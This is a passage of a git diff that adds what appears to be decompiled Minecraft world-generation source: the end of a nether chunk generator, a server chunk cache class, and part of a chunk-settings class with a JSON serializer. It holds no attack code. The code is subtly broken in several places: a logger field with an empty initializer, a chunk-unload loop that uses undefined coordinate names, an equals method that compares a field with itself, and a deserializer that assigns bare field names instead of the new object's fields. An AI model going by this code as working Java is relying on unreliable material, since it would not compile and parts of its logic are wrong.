+      if ((genNetherBridge.func_175796_a(worldObj, p_177458_2_)) && (worldObj.getBlockState(p_177458_2_.offsetDown()).getBlock() == Blocks.nether_brick))
+      {
+        return genNetherBridge.getSpawnList();
+      }
+    }
+    
+    BiomeGenBase var3 = worldObj.getBiomeGenForCoords(p_177458_2_);
+    return var3.getSpawnableList(p_177458_1_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return null;
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return 0;
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_)
+  {
+    genNetherBridge.func_175792_a(this, worldObj, p_180514_2_, p_180514_3_, null);
+  }
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderServer.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderServer.java
new file mode 100644
index 0000000..6d777b6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderServer.java
@@ -0,0 +1,378 @@
+package net.minecraft.world.gen;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.EnumCreatureType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IProgressUpdate;
+import net.minecraft.util.LongHashMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.MinecraftException;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import net.minecraft.world.WorldServer;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.EmptyChunk;
+import net.minecraft.world.chunk.IChunkProvider;
+import net.minecraft.world.chunk.storage.IChunkLoader;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class ChunkProviderServer implements IChunkProvider
+{
+  private static final Logger logger = ;
+  private Set droppedChunksSet = Collections.newSetFromMap(new ConcurrentHashMap());
+  
+
+
+  private Chunk dummyChunk;
+  
+
+
+  private IChunkProvider serverChunkGenerator;
+  
+
+
+  private IChunkLoader chunkLoader;
+  
+
+  public boolean chunkLoadOverride = true;
+  
+
+  private LongHashMap id2ChunkMap = new LongHashMap();
+  private List loadedChunks = Lists.newArrayList();
+  private WorldServer worldObj;
+  private static final String __OBFID = "CL_00001436";
+  
+  public ChunkProviderServer(WorldServer p_i1520_1_, IChunkLoader p_i1520_2_, IChunkProvider p_i1520_3_)
+  {
+    dummyChunk = new EmptyChunk(p_i1520_1_, 0, 0);
+    worldObj = p_i1520_1_;
+    chunkLoader = p_i1520_2_;
+    serverChunkGenerator = p_i1520_3_;
+  }
+  
+
+
+
+  public boolean chunkExists(int p_73149_1_, int p_73149_2_)
+  {
+    return id2ChunkMap.containsItem(ChunkCoordIntPair.chunkXZ2Int(p_73149_1_, p_73149_2_));
+  }
+  
+  public List func_152380_a()
+  {
+    return loadedChunks;
+  }
+  
+  public void dropChunk(int p_73241_1_, int p_73241_2_)
+  {
+    if (worldObj.provider.canRespawnHere())
+    {
+      if (!worldObj.chunkExists(p_73241_1_, p_73241_2_))
+      {
+        droppedChunksSet.add(Long.valueOf(ChunkCoordIntPair.chunkXZ2Int(p_73241_1_, p_73241_2_)));
+      }
+      
+    }
+    else {
+      droppedChunksSet.add(Long.valueOf(ChunkCoordIntPair.chunkXZ2Int(p_73241_1_, p_73241_2_)));
+    }
+  }
+  
+
+
+
+  public void unloadAllChunks()
+  {
+    Iterator var1 = loadedChunks.iterator();
+    
+    while (var1.hasNext())
+    {
+      Chunk var2 = (Chunk)var1.next();
+      dropChunk(xPosition, zPosition);
+    }
+  }
+  
+
+
+
+  public Chunk loadChunk(int p_73158_1_, int p_73158_2_)
+  {
+    long var3 = ChunkCoordIntPair.chunkXZ2Int(p_73158_1_, p_73158_2_);
+    droppedChunksSet.remove(Long.valueOf(var3));
+    Chunk var5 = (Chunk)id2ChunkMap.getValueByKey(var3);
+    
+    if (var5 == null)
+    {
+      var5 = loadChunkFromFile(p_73158_1_, p_73158_2_);
+      
+      if (var5 == null)
+      {
+        if (serverChunkGenerator == null)
+        {
+          var5 = dummyChunk;
+        }
+        else
+        {
+          try
+          {
+            var5 = serverChunkGenerator.provideChunk(p_73158_1_, p_73158_2_);
+          }
+          catch (Throwable var9)
+          {
+            CrashReport var7 = CrashReport.makeCrashReport(var9, "Exception generating new chunk");
+            CrashReportCategory var8 = var7.makeCategory("Chunk to be generated");
+            var8.addCrashSection("Location", String.format("%d,%d", new Object[] { Integer.valueOf(p_73158_1_), Integer.valueOf(p_73158_2_) }));
+            var8.addCrashSection("Position hash", Long.valueOf(var3));
+            var8.addCrashSection("Generator", serverChunkGenerator.makeString());
+            throw new net.minecraft.util.ReportedException(var7);
+          }
+        }
+      }
+      
+      id2ChunkMap.add(var3, var5);
+      loadedChunks.add(var5);
+      var5.onChunkLoad();
+      var5.populateChunk(this, this, p_73158_1_, p_73158_2_);
+    }
+    
+    return var5;
+  }
+  
+
+
+
+
+  public Chunk provideChunk(int p_73154_1_, int p_73154_2_)
+  {
+    Chunk var3 = (Chunk)id2ChunkMap.getValueByKey(ChunkCoordIntPair.chunkXZ2Int(p_73154_1_, p_73154_2_));
+    return var3 == null ? loadChunk(p_73154_1_, p_73154_2_) : (!worldObj.isFindingSpawnPoint()) && (!chunkLoadOverride) ? dummyChunk : var3;
+  }
+  
+  private Chunk loadChunkFromFile(int p_73239_1_, int p_73239_2_)
+  {
+    if (chunkLoader == null)
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      Chunk var3 = chunkLoader.loadChunk(worldObj, p_73239_1_, p_73239_2_);
+      
+      if (var3 != null)
+      {
+        var3.setLastSaveTime(worldObj.getTotalWorldTime());
+        
+        if (serverChunkGenerator != null)
+        {
+          serverChunkGenerator.func_180514_a(var3, p_73239_1_, p_73239_2_);
+        }
+      }
+      
+      return var3;
+    }
+    catch (Exception var4)
+    {
+      logger.error("Couldn't load chunk", var4); }
+    return null;
+  }
+  
+
+
+  private void saveChunkExtraData(Chunk p_73243_1_)
+  {
+    if (chunkLoader != null)
+    {
+      try
+      {
+        chunkLoader.saveExtraChunkData(worldObj, p_73243_1_);
+      }
+      catch (Exception var3)
+      {
+        logger.error("Couldn't save entities", var3);
+      }
+    }
+  }
+  
+  private void saveChunkData(Chunk p_73242_1_)
+  {
+    if (chunkLoader != null)
+    {
+      try
+      {
+        p_73242_1_.setLastSaveTime(worldObj.getTotalWorldTime());
+        chunkLoader.saveChunk(worldObj, p_73242_1_);
+      }
+      catch (IOException var3)
+      {
+        logger.error("Couldn't save chunk", var3);
+      }
+      catch (MinecraftException var4)
+      {
+        logger.error("Couldn't save chunk; already in use by another instance of Minecraft?", var4);
+      }
+    }
+  }
+  
+
+
+
+  public void populate(IChunkProvider p_73153_1_, int p_73153_2_, int p_73153_3_)
+  {
+    Chunk var4 = provideChunk(p_73153_2_, p_73153_3_);
+    
+    if (!var4.isTerrainPopulated())
+    {
+      var4.func_150809_p();
+      
+      if (serverChunkGenerator != null)
+      {
+        serverChunkGenerator.populate(p_73153_1_, p_73153_2_, p_73153_3_);
+        var4.setChunkModified();
+      }
+    }
+  }
+  
+  public boolean func_177460_a(IChunkProvider p_177460_1_, Chunk p_177460_2_, int p_177460_3_, int p_177460_4_)
+  {
+    if ((serverChunkGenerator != null) && (serverChunkGenerator.func_177460_a(p_177460_1_, p_177460_2_, p_177460_3_, p_177460_4_)))
+    {
+      Chunk var5 = provideChunk(p_177460_3_, p_177460_4_);
+      var5.setChunkModified();
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean saveChunks(boolean p_73151_1_, IProgressUpdate p_73151_2_)
+  {
+    int var3 = 0;
+    
+    for (int var4 = 0; var4 < loadedChunks.size(); var4++)
+    {
+      Chunk var5 = (Chunk)loadedChunks.get(var4);
+      
+      if (p_73151_1_)
+      {
+        saveChunkExtraData(var5);
+      }
+      
+      if (var5.needsSaving(p_73151_1_))
+      {
+        saveChunkData(var5);
+        var5.setModified(false);
+        var3++;
+        
+        if ((var3 == 24) && (!p_73151_1_))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void saveExtraData()
+  {
+    if (chunkLoader != null)
+    {
+      chunkLoader.saveExtraData();
+    }
+  }
+  
+
+
+
+  public boolean unloadQueuedChunks()
+  {
+    if (!worldObj.disableLevelSaving)
+    {
+      for (int var1 = 0; var1 < 100; var1++)
+      {
+        if (!droppedChunksSet.isEmpty())
+        {
+          Long var2 = (Long)droppedChunksSet.iterator().next();
+          Chunk var3 = (Chunk)id2ChunkMap.getValueByKey(var2.longValue());
+          
+          if (var3 != null)
+          {
+            var3.onChunkUnload();
+            saveChunkData(var3);
+            saveChunkExtraData(var3);
+            id2ChunkMap.remove(var2.longValue());
+            loadedChunks.remove(var3);
+          }
+          
+          droppedChunksSet.remove(var2);
+        }
+      }
+      
+      if (chunkLoader != null)
+      {
+        chunkLoader.chunkTick();
+      }
+    }
+    
+    return serverChunkGenerator.unloadQueuedChunks();
+  }
+  
+
+
+
+  public boolean canSave()
+  {
+    return !worldObj.disableLevelSaving;
+  }
+  
+
+
+
+  public String makeString()
+  {
+    return "ServerChunkCache: " + id2ChunkMap.getNumHashElements() + " Drop: " + droppedChunksSet.size();
+  }
+  
+  public List func_177458_a(EnumCreatureType p_177458_1_, BlockPos p_177458_2_)
+  {
+    return serverChunkGenerator.func_177458_a(p_177458_1_, p_177458_2_);
+  }
+  
+  public BlockPos func_180513_a(World worldIn, String p_180513_2_, BlockPos p_180513_3_)
+  {
+    return serverChunkGenerator.func_180513_a(worldIn, p_180513_2_, p_180513_3_);
+  }
+  
+  public int getLoadedChunkCount()
+  {
+    return id2ChunkMap.getNumHashElements();
+  }
+  
+  public void func_180514_a(Chunk p_180514_1_, int p_180514_2_, int p_180514_3_) {}
+  
+  public Chunk func_177459_a(BlockPos p_177459_1_)
+  {
+    return provideChunk(p_177459_1_.getX() >> 4, p_177459_1_.getZ() >> 4);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/ChunkProviderSettings.java b/src/minecraft/net/minecraft/world/gen/ChunkProviderSettings.java
new file mode 100644
index 0000000..c945499
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/ChunkProviderSettings.java
@@ -0,0 +1,689 @@
+package net.minecraft.world.gen;
+
+import com.google.gson.Gson;
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonDeserializer;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonSerializationContext;
+import com.google.gson.JsonSerializer;
+import java.lang.reflect.Type;
+import net.minecraft.util.JsonUtils;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class ChunkProviderSettings
+{
+  public final float field_177811_a;
+  public final float field_177809_b;
+  public final float field_177810_c;
+  public final float field_177806_d;
+  public final float field_177808_e;
+  public final float field_177803_f;
+  public final float field_177804_g;
+  public final float field_177825_h;
+  public final float field_177827_i;
+  public final float field_177821_j;
+  public final float field_177823_k;
+  public final float field_177817_l;
+  public final float field_177819_m;
+  public final float field_177813_n;
+  public final float field_177815_o;
+  public final float field_177843_p;
+  public final int field_177841_q;
+  public final boolean field_177839_r;
+  public final boolean field_177837_s;
+  public final int field_177835_t;
+  public final boolean field_177833_u;
+  public final boolean field_177831_v;
+  public final boolean field_177829_w;
+  public final boolean field_177854_x;
+  public final boolean field_177852_y;
+  public final boolean field_177850_z;
+  public final boolean field_177781_A;
+  public final int field_177782_B;
+  public final boolean field_177783_C;
+  public final int field_177777_D;
+  public final boolean field_177778_E;
+  public final int field_177779_F;
+  public final int field_177780_G;
+  public final int field_177788_H;
+  public final int field_177789_I;
+  public final int field_177790_J;
+  public final int field_177791_K;
+  public final int field_177784_L;
+  public final int field_177785_M;
+  public final int field_177786_N;
+  public final int field_177787_O;
+  public final int field_177797_P;
+  public final int field_177796_Q;
+  public final int field_177799_R;
+  public final int field_177798_S;
+  public final int field_177793_T;
+  public final int field_177792_U;
+  public final int field_177795_V;
+  public final int field_177794_W;
+  public final int field_177801_X;
+  public final int field_177800_Y;
+  public final int field_177802_Z;
+  public final int field_177846_aa;
+  public final int field_177847_ab;
+  public final int field_177844_ac;
+  public final int field_177845_ad;
+  public final int field_177851_ae;
+  public final int field_177853_af;
+  public final int field_177848_ag;
+  public final int field_177849_ah;
+  public final int field_177832_ai;
+  public final int field_177834_aj;
+  public final int field_177828_ak;
+  public final int field_177830_al;
+  public final int field_177840_am;
+  public final int field_177842_an;
+  public final int field_177836_ao;
+  public final int field_177838_ap;
+  public final int field_177818_aq;
+  public final int field_177816_ar;
+  public final int field_177814_as;
+  public final int field_177812_at;
+  public final int field_177826_au;
+  public final int field_177824_av;
+  public final int field_177822_aw;
+  public final int field_177820_ax;
+  public final int field_177807_ay;
+  public final int field_177805_az;
+  private static final String __OBFID = "CL_00002006";
+  
+  private ChunkProviderSettings(Factory p_i45639_1_)
+  {
+    field_177811_a = field_177899_b;
+    field_177809_b = field_177900_c;
+    field_177810_c = field_177896_d;
+    field_177806_d = field_177898_e;
+    field_177808_e = field_177893_f;
+    field_177803_f = field_177894_g;
+    field_177804_g = field_177915_h;
+    field_177825_h = field_177917_i;
+    field_177827_i = field_177911_j;
+    field_177821_j = field_177913_k;
+    field_177823_k = field_177907_l;
+    field_177817_l = field_177909_m;
+    field_177819_m = field_177903_n;
+    field_177813_n = field_177905_o;
+    field_177815_o = field_177933_p;
+    field_177843_p = field_177931_q;
+    field_177841_q = field_177929_r;
+    field_177839_r = field_177927_s;
+    field_177837_s = field_177925_t;
+    field_177835_t = field_177923_u;
+    field_177833_u = field_177921_v;
+    field_177831_v = field_177919_w;
+    field_177829_w = field_177944_x;
+    field_177854_x = field_177942_y;
+    field_177852_y = field_177940_z;
+    field_177850_z = field_177870_A;
+    field_177781_A = field_177871_B;
+    field_177782_B = field_177872_C;
+    field_177783_C = field_177866_D;
+    field_177777_D = field_177867_E;
+    field_177778_E = field_177868_F;
+    field_177779_F = field_177869_G;
+    field_177780_G = field_177877_H;
+    field_177788_H = field_177878_I;
+    field_177789_I = field_177879_J;
+    field_177790_J = field_177880_K;
+    field_177791_K = field_177873_L;
+    field_177784_L = field_177874_M;
+    field_177785_M = field_177875_N;
+    field_177786_N = field_177876_O;
+    field_177787_O = field_177886_P;
+    field_177797_P = field_177885_Q;
+    field_177796_Q = field_177888_R;
+    field_177799_R = field_177887_S;
+    field_177798_S = field_177882_T;
+    field_177793_T = field_177881_U;
+    field_177792_U = field_177884_V;
+    field_177795_V = field_177883_W;
+    field_177794_W = field_177891_X;
+    field_177801_X = field_177890_Y;
+    field_177800_Y = field_177892_Z;
+    field_177802_Z = field_177936_aa;
+    field_177846_aa = field_177937_ab;
+    field_177847_ab = field_177934_ac;
+    field_177844_ac = field_177935_ad;
+    field_177845_ad = field_177941_ae;
+    field_177851_ae = field_177943_af;
+    field_177853_af = field_177938_ag;
+    field_177848_ag = field_177939_ah;
+    field_177849_ah = field_177922_ai;
+    field_177832_ai = field_177924_aj;
+    field_177834_aj = field_177918_ak;
+    field_177828_ak = field_177920_al;
+    field_177830_al = field_177930_am;
+    field_177840_am = field_177932_an;
+    field_177842_an = field_177926_ao;
+    field_177836_ao = field_177928_ap;
+    field_177838_ap = field_177908_aq;
+    field_177818_aq = field_177906_ar;
+    field_177816_ar = field_177904_as;
+    field_177814_as = field_177902_at;
+    field_177812_at = field_177916_au;
+    field_177826_au = field_177914_av;
+    field_177824_av = field_177912_aw;
+    field_177822_aw = field_177910_ax;
+    field_177820_ax = field_177897_ay;
+    field_177807_ay = field_177895_az;
+    field_177805_az = field_177889_aA;
+  }
+  
+  ChunkProviderSettings(Factory p_i45640_1_, Object p_i45640_2_)
+  {
+    this(p_i45640_1_);
+  }
+  
+  public static class Factory
+  {
+    static final Gson field_177901_a = new GsonBuilder().registerTypeAdapter(Factory.class, new ChunkProviderSettings.Serializer()).create();
+    public float field_177899_b = 684.412F;
+    public float field_177900_c = 684.412F;
+    public float field_177896_d = 512.0F;
+    public float field_177898_e = 512.0F;
+    public float field_177893_f = 200.0F;
+    public float field_177894_g = 200.0F;
+    public float field_177915_h = 0.5F;
+    public float field_177917_i = 80.0F;
+    public float field_177911_j = 160.0F;
+    public float field_177913_k = 80.0F;
+    public float field_177907_l = 8.5F;
+    public float field_177909_m = 12.0F;
+    public float field_177903_n = 1.0F;
+    public float field_177905_o = 0.0F;
+    public float field_177933_p = 1.0F;
+    public float field_177931_q = 0.0F;
+    public int field_177929_r = 63;
+    public boolean field_177927_s = true;
+    public boolean field_177925_t = true;
+    public int field_177923_u = 8;
+    public boolean field_177921_v = true;
+    public boolean field_177919_w = true;
+    public boolean field_177944_x = true;
+    public boolean field_177942_y = true;
+    public boolean field_177940_z = true;
+    public boolean field_177870_A = true;
+    public boolean field_177871_B = true;
+    public int field_177872_C = 4;
+    public boolean field_177866_D = true;
+    public int field_177867_E = 80;
+    public boolean field_177868_F = false;
+    public int field_177869_G = -1;
+    public int field_177877_H = 4;
+    public int field_177878_I = 4;
+    public int field_177879_J = 33;
+    public int field_177880_K = 10;
+    public int field_177873_L = 0;
+    public int field_177874_M = 256;
+    public int field_177875_N = 33;
+    public int field_177876_O = 8;
+    public int field_177886_P = 0;
+    public int field_177885_Q = 256;
+    public int field_177888_R = 33;
+    public int field_177887_S = 10;
+    public int field_177882_T = 0;
+    public int field_177881_U = 80;
+    public int field_177884_V = 33;
+    public int field_177883_W = 10;
+    public int field_177891_X = 0;
+    public int field_177890_Y = 80;
+    public int field_177892_Z = 33;
+    public int field_177936_aa = 10;
+    public int field_177937_ab = 0;
+    public int field_177934_ac = 80;
+    public int field_177935_ad = 17;
+    public int field_177941_ae = 20;
+    public int field_177943_af = 0;
+    public int field_177938_ag = 128;
+    public int field_177939_ah = 9;
+    public int field_177922_ai = 20;
+    public int field_177924_aj = 0;
+    public int field_177918_ak = 64;
+    public int field_177920_al = 9;
+    public int field_177930_am = 2;
+    public int field_177932_an = 0;
+    public int field_177926_ao = 32;
+    public int field_177928_ap = 8;
+    public int field_177908_aq = 8;
+    public int field_177906_ar = 0;
+    public int field_177904_as = 16;
+    public int field_177902_at = 8;
+    public int field_177916_au = 1;
+    public int field_177914_av = 0;
+    public int field_177912_aw = 16;
+    public int field_177910_ax = 7;
+    public int field_177897_ay = 1;
+    public int field_177895_az = 16;
+    public int field_177889_aA = 16;
+    private static final String __OBFID = "CL_00002004";
+    
+    public static Factory func_177865_a(String p_177865_0_)
+    {
+      if (p_177865_0_.length() == 0)
+      {
+        return new Factory();
+      }
+      
+
+      try
+      {
+        return (Factory)field_177901_a.fromJson(p_177865_0_, Factory.class);
+      }
+      catch (Exception var2) {}
+      
+      return new Factory();
+    }
+    
+
+
+    public String toString()
+    {
+      return field_177901_a.toJson(this);
+    }
+    
+    public Factory()
+    {
+      func_177863_a();
+    }
+    
+    public void func_177863_a()
+    {
+      field_177899_b = 684.412F;
+      field_177900_c = 684.412F;
+      field_177896_d = 512.0F;
+      field_177898_e = 512.0F;
+      field_177893_f = 200.0F;
+      field_177894_g = 200.0F;
+      field_177915_h = 0.5F;
+      field_177917_i = 80.0F;
+      field_177911_j = 160.0F;
+      field_177913_k = 80.0F;
+      field_177907_l = 8.5F;
+      field_177909_m = 12.0F;
+      field_177903_n = 1.0F;
+      field_177905_o = 0.0F;
+      field_177933_p = 1.0F;
+      field_177931_q = 0.0F;
+      field_177929_r = 63;
+      field_177927_s = true;
+      field_177925_t = true;
+      field_177923_u = 8;
+      field_177921_v = true;
+      field_177919_w = true;
+      field_177944_x = true;
+      field_177942_y = true;
+      field_177940_z = true;
+      field_177870_A = true;
+      field_177871_B = true;
+      field_177872_C = 4;
+      field_177866_D = true;
+      field_177867_E = 80;
+      field_177868_F = false;
+      field_177869_G = -1;
+      field_177877_H = 4;
+      field_177878_I = 4;
+      field_177879_J = 33;
+      field_177880_K = 10;
+      field_177873_L = 0;
+      field_177874_M = 256;
+      field_177875_N = 33;
+      field_177876_O = 8;
+      field_177886_P = 0;
+      field_177885_Q = 256;
+      field_177888_R = 33;
+      field_177887_S = 10;
+      field_177882_T = 0;
+      field_177881_U = 80;
+      field_177884_V = 33;
+      field_177883_W = 10;
+      field_177891_X = 0;
+      field_177890_Y = 80;
+      field_177892_Z = 33;
+      field_177936_aa = 10;
+      field_177937_ab = 0;
+      field_177934_ac = 80;
+      field_177935_ad = 17;
+      field_177941_ae = 20;
+      field_177943_af = 0;
+      field_177938_ag = 128;
+      field_177939_ah = 9;
+      field_177922_ai = 20;
+      field_177924_aj = 0;
+      field_177918_ak = 64;
+      field_177920_al = 9;
+      field_177930_am = 2;
+      field_177932_an = 0;
+      field_177926_ao = 32;
+      field_177928_ap = 8;
+      field_177908_aq = 8;
+      field_177906_ar = 0;
+      field_177904_as = 16;
+      field_177902_at = 8;
+      field_177916_au = 1;
+      field_177914_av = 0;
+      field_177912_aw = 16;
+      field_177910_ax = 7;
+      field_177897_ay = 1;
+      field_177895_az = 16;
+      field_177889_aA = 16;
+    }
+    
+    public boolean equals(Object p_equals_1_)
+    {
+      if (this == p_equals_1_)
+      {
+        return true;
+      }
+      if ((p_equals_1_ != null) && (getClass() == p_equals_1_.getClass()))
+      {
+        Factory var2 = (Factory)p_equals_1_;
+        return field_177936_aa == field_177936_aa;
+      }
+      
+
+      return false;
+    }
+    
+
+    public int hashCode()
+    {
+      int var1 = field_177899_b != 0.0F ? Float.floatToIntBits(field_177899_b) : 0;
+      var1 = 31 * var1 + (field_177900_c != 0.0F ? Float.floatToIntBits(field_177900_c) : 0);
+      var1 = 31 * var1 + (field_177896_d != 0.0F ? Float.floatToIntBits(field_177896_d) : 0);
+      var1 = 31 * var1 + (field_177898_e != 0.0F ? Float.floatToIntBits(field_177898_e) : 0);
+      var1 = 31 * var1 + (field_177893_f != 0.0F ? Float.floatToIntBits(field_177893_f) : 0);
+      var1 = 31 * var1 + (field_177894_g != 0.0F ? Float.floatToIntBits(field_177894_g) : 0);
+      var1 = 31 * var1 + (field_177915_h != 0.0F ? Float.floatToIntBits(field_177915_h) : 0);
+      var1 = 31 * var1 + (field_177917_i != 0.0F ? Float.floatToIntBits(field_177917_i) : 0);
+      var1 = 31 * var1 + (field_177911_j != 0.0F ? Float.floatToIntBits(field_177911_j) : 0);
+      var1 = 31 * var1 + (field_177913_k != 0.0F ? Float.floatToIntBits(field_177913_k) : 0);
+      var1 = 31 * var1 + (field_177907_l != 0.0F ? Float.floatToIntBits(field_177907_l) : 0);
+      var1 = 31 * var1 + (field_177909_m != 0.0F ? Float.floatToIntBits(field_177909_m) : 0);
+      var1 = 31 * var1 + (field_177903_n != 0.0F ? Float.floatToIntBits(field_177903_n) : 0);
+      var1 = 31 * var1 + (field_177905_o != 0.0F ? Float.floatToIntBits(field_177905_o) : 0);
+      var1 = 31 * var1 + (field_177933_p != 0.0F ? Float.floatToIntBits(field_177933_p) : 0);
+      var1 = 31 * var1 + (field_177931_q != 0.0F ? Float.floatToIntBits(field_177931_q) : 0);
+      var1 = 31 * var1 + field_177929_r;
+      var1 = 31 * var1 + (field_177927_s ? 1 : 0);
+      var1 = 31 * var1 + (field_177925_t ? 1 : 0);
+      var1 = 31 * var1 + field_177923_u;
+      var1 = 31 * var1 + (field_177921_v ? 1 : 0);
+      var1 = 31 * var1 + (field_177919_w ? 1 : 0);
+      var1 = 31 * var1 + (field_177944_x ? 1 : 0);
+      var1 = 31 * var1 + (field_177942_y ? 1 : 0);
+      var1 = 31 * var1 + (field_177940_z ? 1 : 0);
+      var1 = 31 * var1 + (field_177870_A ? 1 : 0);
+      var1 = 31 * var1 + (field_177871_B ? 1 : 0);
+      var1 = 31 * var1 + field_177872_C;
+      var1 = 31 * var1 + (field_177866_D ? 1 : 0);
+      var1 = 31 * var1 + field_177867_E;
+      var1 = 31 * var1 + (field_177868_F ? 1 : 0);
+      var1 = 31 * var1 + field_177869_G;
+      var1 = 31 * var1 + field_177877_H;
+      var1 = 31 * var1 + field_177878_I;
+      var1 = 31 * var1 + field_177879_J;
+      var1 = 31 * var1 + field_177880_K;
+      var1 = 31 * var1 + field_177873_L;
+      var1 = 31 * var1 + field_177874_M;
+      var1 = 31 * var1 + field_177875_N;
+      var1 = 31 * var1 + field_177876_O;
+      var1 = 31 * var1 + field_177886_P;
+      var1 = 31 * var1 + field_177885_Q;
+      var1 = 31 * var1 + field_177888_R;
+      var1 = 31 * var1 + field_177887_S;
+      var1 = 31 * var1 + field_177882_T;
+      var1 = 31 * var1 + field_177881_U;
+      var1 = 31 * var1 + field_177884_V;
+      var1 = 31 * var1 + field_177883_W;
+      var1 = 31 * var1 + field_177891_X;
+      var1 = 31 * var1 + field_177890_Y;
+      var1 = 31 * var1 + field_177892_Z;
+      var1 = 31 * var1 + field_177936_aa;
+      var1 = 31 * var1 + field_177937_ab;
+      var1 = 31 * var1 + field_177934_ac;
+      var1 = 31 * var1 + field_177935_ad;
+      var1 = 31 * var1 + field_177941_ae;
+      var1 = 31 * var1 + field_177943_af;
+      var1 = 31 * var1 + field_177938_ag;
+      var1 = 31 * var1 + field_177939_ah;
+      var1 = 31 * var1 + field_177922_ai;
+      var1 = 31 * var1 + field_177924_aj;
+      var1 = 31 * var1 + field_177918_ak;
+      var1 = 31 * var1 + field_177920_al;
+      var1 = 31 * var1 + field_177930_am;
+      var1 = 31 * var1 + field_177932_an;
+      var1 = 31 * var1 + field_177926_ao;
+      var1 = 31 * var1 + field_177928_ap;
+      var1 = 31 * var1 + field_177908_aq;
+      var1 = 31 * var1 + field_177906_ar;
+      var1 = 31 * var1 + field_177904_as;
+      var1 = 31 * var1 + field_177902_at;
+      var1 = 31 * var1 + field_177916_au;
+      var1 = 31 * var1 + field_177914_av;
+      var1 = 31 * var1 + field_177912_aw;
+      var1 = 31 * var1 + field_177910_ax;
+      var1 = 31 * var1 + field_177897_ay;
+      var1 = 31 * var1 + field_177895_az;
+      var1 = 31 * var1 + field_177889_aA;
+      return var1;
+    }
+    
+    public ChunkProviderSettings func_177864_b()
+    {
+      return new ChunkProviderSettings(this, null);
+    }
+  }
+  
+  public static class Serializer implements JsonDeserializer, JsonSerializer {
+    private static final String __OBFID = "CL_00002003";
+    
+    public Serializer() {}
+    
+    public ChunkProviderSettings.Factory func_177861_a(JsonElement p_177861_1_, Type p_177861_2_, JsonDeserializationContext p_177861_3_) {
+      JsonObject var4 = p_177861_1_.getAsJsonObject();
+      ChunkProviderSettings.Factory var5 = new ChunkProviderSettings.Factory();
+      
+      try
+      {
+        field_177899_b = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "coordinateScale", field_177899_b);
+        field_177900_c = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "heightScale", field_177900_c);
+        field_177898_e = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "lowerLimitScale", field_177898_e);
+        field_177896_d = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "upperLimitScale", field_177896_d);
+        field_177893_f = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "depthNoiseScaleX", field_177893_f);
+        field_177894_g = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "depthNoiseScaleZ", field_177894_g);
+        field_177915_h = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "depthNoiseScaleExponent", field_177915_h);
+        field_177917_i = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "mainNoiseScaleX", field_177917_i);
+        field_177911_j = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "mainNoiseScaleY", field_177911_j);
+        field_177913_k = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "mainNoiseScaleZ", field_177913_k);
+        field_177907_l = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "baseSize", field_177907_l);
+        field_177909_m = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "stretchY", field_177909_m);
+        field_177903_n = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "biomeDepthWeight", field_177903_n);
+        field_177905_o = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "biomeDepthOffset", field_177905_o);
+        field_177933_p = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "biomeScaleWeight", field_177933_p);
+        field_177931_q = JsonUtils.getJsonObjectFloatFieldValueOrDefault(var4, "biomeScaleOffset", field_177931_q);
+        field_177929_r = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "seaLevel", field_177929_r);
+        field_177927_s = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useCaves", field_177927_s);
+        field_177925_t = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useDungeons", field_177925_t);
+        field_177923_u = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dungeonChance", field_177923_u);
+        field_177921_v = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useStrongholds", field_177921_v);
+        field_177919_w = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useVillages", field_177919_w);
+        field_177944_x = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useMineShafts", field_177944_x);
+        field_177942_y = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useTemples", field_177942_y);
